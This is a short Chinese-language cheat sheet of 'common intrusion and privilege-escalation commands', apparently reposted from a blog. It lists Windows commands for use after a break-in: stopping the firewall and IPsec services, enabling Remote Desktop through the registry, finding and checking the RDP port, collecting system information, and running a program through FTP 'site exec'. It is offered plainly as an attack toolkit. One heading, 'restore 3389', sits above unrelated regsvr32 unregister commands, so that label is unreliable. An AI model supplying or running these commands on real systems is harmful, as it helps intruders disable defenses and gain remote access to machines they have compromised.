常用入侵提权指令

 //恢复3389
regsvr32/u C:\windows\System32\wshom.ocx
regsvr32/u C:\windows\System32\shell32.dll

//停掉服务器防火墙和IPSEC Services
net stop sharedaccess
net stop policyagent

//查看将3389改成了什么端口方法一
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber >>a.txt

//查看将3389改成了什么端口方法二
tasklist /svc>>jilu.txt
netstat /ano>>jilu2.txt

//允许电脑远程连接桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

//查看系统版本等信息并写入文本
systeminfo>>"info.txt"

//查看3389端口是否开启
netstat -ano -p tcp | find "3389" >nul 2>nul && echo 3389端口开启！|| echo 3389未开启！>>"是否开启.txt"

//FTP下运行指定的程序
quote site exec aaa.bat

转载于:https://www.cnblogs.com/fuhua/p/5877793.html